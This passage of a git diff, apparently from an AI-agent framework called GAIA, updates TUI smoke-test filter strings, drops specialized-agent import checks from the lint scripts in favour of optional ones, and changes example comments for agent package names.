TestFilterKeepsTheCursorInsideTheVisibleSet(t *testing.T) { d.send(keyDown()) } d.send(key("/")) - for _, r := range "docker" { + for _, r := range "gmail" { d.send(key(string(r))) } d.send(keyEnter()) // apply the filter visible := d.m.VisibleAgentIDs() if len(visible) == 0 { - t.Fatal("filtering for 'docker' matched nothing") + t.Fatal("filtering for 'gmail' matched nothing") } if got := d.m.SelectedAgentID(); got == "" { t.Fatalf("nothing selected after filtering to %d row(s)", len(visible)) diff --git a/tui/test/smoke_test.go b/tui/test/smoke_test.go index 7676cd221..b5ec927a8 100644 --- a/tui/test/smoke_test.go +++ b/tui/test/smoke_test.go @@ -97,17 +97,17 @@ func TestHubSearch(t *testing.T) { if !d.m.IsFiltering() { t.Fatal("/ did not enter filter mode") } - for _, r := range "browser" { + for _, r := range "terminal" { d.send(key(string(r))) } d.send(keyEnter()) after := d.m.VisibleAgentIDs() if len(after) >= before { - t.Fatalf("filtering for 'browser' left %d of %d rows visible", len(after), before) + t.Fatalf("filtering for 'terminal' left %d of %d rows visible", len(after), before) } - if len(after) == 0 || after[0] != "browser" { - t.Fatalf("filtered rows = %v, want browser first", after) + if len(after) == 0 || after[0] != "bash" { + t.Fatalf("filtered rows = %v, want bash first", after) } d.send(keyEsc()) diff --git a/util/lint.ps1 b/util/lint.ps1 index e42caf0af..6afff0fa9 100644 --- a/util/lint.ps1 +++ b/util/lint.ps1 @@ -346,15 +346,9 @@ function Invoke-ImportTests { @{Import="from gaia.agents.base import MCPAgent"; Desc="MCP agent mixin"; Optional=$false}, @{Import="from gaia.agents.base import tool"; Desc="Tool decorator"; Optional=$false}, - # Specialized Agents + # Specialized Agents — optional so a framework-only env (no + # gaia-agent- installed) skips rather than fails. @{Import="from gaia_agent_chat import ChatAgent"; Desc="Chat agent"; Optional=$true}, - @{Import="from gaia.agents.code import CodeAgent"; Desc="Code agent"; Optional=$false}, - @{Import="from gaia.agents.jira import JiraAgent"; Desc="Jira agent"; Optional=$false}, - @{Import="from gaia.agents.docker import DockerAgent"; Desc="Docker agent"; Optional=$false}, - @{Import="from gaia.agents.blender import BlenderAgent"; Desc="Blender agent"; Optional=$false}, - @{Import="from gaia.agents.emr import MedicalIntakeAgent"; Desc="Medical intake agent"; Optional=$false}, - @{Import="from gaia_agent_routing import RoutingAgent"; Desc="Routing agent"; Optional=$true}, - @{Import="from gaia_agent_docqa import DocumentQAAgent"; Desc="Document Q&A agent"; Optional=$true}, # Database @{Import="from gaia.database import DatabaseAgent"; Desc="Database agent"; Optional=$false}, diff --git a/util/lint.py b/util/lint.py index 2980b7c8e..6c1cb5357 100644 --- a/util/lint.py +++ b/util/lint.py @@ -414,24 +414,9 @@ def check_imports() -> CheckResult: ("from", "gaia.agents.base.agent", "Agent", "Base Agent class", False), ("from", "gaia.agents.base", "MCPAgent", "MCP agent mixin", False), ("from", "gaia.agents.base", "tool", "Tool decorator", False), - # Specialized Agents + # Specialized Agents — optional so a framework-only env (no + # gaia-agent- installed) skips rather than fails. ("from", "gaia_agent_chat", "ChatAgent", "Chat agent", True), - ("from", "gaia_agent_code", "CodeAgent", "Code agent", True), - ("from", "gaia_agent_jira", "JiraAgent", "Jira agent", True), - ("from", "gaia_agent_docker", "DockerAgent", "Docker agent", True), - ("from", "gaia_agent_blender", "BlenderAgent", "Blender agent", True), - ("from", "gaia_agent_routing", "RoutingAgent", "Routing agent", True), - ("from", "gaia_agent_docqa", "DocumentQAAgent", "Document Q&A agent", True), - # Migrated to standalone wheels (#1102) — optional so a framework-only - # env (no gaia-agent- installed) skips rather than fails. - ("from", "gaia_agent_sd", "SDAgent", "SD agent", True), - ( - "from", - "gaia_agent_emr", - "MedicalIntakeAgent", - "Medical intake agent", - True, - ), # Database ("from", "gaia.database", "DatabaseAgent", "Database agent", False), ("from", "gaia.database", "DatabaseMixin", "Database mixin", False), diff --git a/util/list_agent_packages.py b/util/list_agent_packages.py index 844775ade..d4f0ef790 100644 --- a/util/list_agent_packages.py +++ b/util/list_agent_packages.py @@ -58,9 +58,9 @@ class AgentListError(Exception): class AgentPackage: """A production agent wheel and where its source package lives.""" - dist_name: str # e.g. "gaia-agent-summarize" - agent_id: str # e.g. "summarize" - path: Path # e.g. /hub/agents/summarize/python + dist_name: str # e.g. "gaia-agent-email" + agent_id: str # e.g. "email" + path: Path # e.g. /hub/agents/email/python @property def rel_path(self) -> str: